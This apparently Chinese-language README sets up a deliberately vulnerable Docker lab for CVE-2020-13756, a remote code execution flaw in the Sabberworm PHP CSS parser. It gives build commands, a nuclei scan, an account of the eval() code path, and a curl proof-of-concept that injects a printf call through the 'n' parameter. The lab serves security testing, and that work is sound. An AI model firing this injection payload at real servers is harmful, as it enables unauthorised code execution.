针对 CVE-2020-13756 的易受攻击测试环境 - Sabberworm PHP CSS 解析器远程代码执行。
| 字段 | 值 |
|---|---|
| CVE | CVE-2020-13756 |
| 产品 | Sabberworm PHP CSS 解析器 |
| 受影响版本 | < 8.3.1 |
| 严重性 | 严重 (CVSS 9.8) |
| 类型 | 远程代码执行 |
docker run -d -p 8080:80 $(docker build -q https://github.com/KrE80r/CVE-2020-13756-env.git)
或者克隆并运行:
git clone https://github.com/KrE80r/CVE-2020-13756-env.git && cd CVE-2020-13756-env && docker-compose up -d
# 克隆仓库
git clone https://github.com/KrE80r/CVE-2020-13756-env.git
cd CVE-2020-13756-env
# 构建并运行
docker build -t sabberworm-vuln .
docker run -d -p 8080:80 sabberworm-vuln
# 测试 RCE - 应在响应中打印 "VULN_TEST"
curl "http://localhost:8080/?n=100;printf(%22VULN_TEST%22);"
预期输出开头包含 VULN_TEST,证明代码执行成功。
nuclei -t CVE-2020-13756.yaml -u http://localhost:8080 -debug
漏洞存在于 getSelectorsBySpecificity() 函数中,该函数将未净化的用户输入传递给 eval():
// 漏洞代码路径
$selectors = $doc->getSelectorsBySpecificity('> ' . $_GET['n']);
// 当 n=100;printf("test"); 时,eval() 执行:eval('> 100;printf("test");')
此环境仅供授权的安全测试使用。未经许可不得用于任何系统。
KrE80r - 安全研究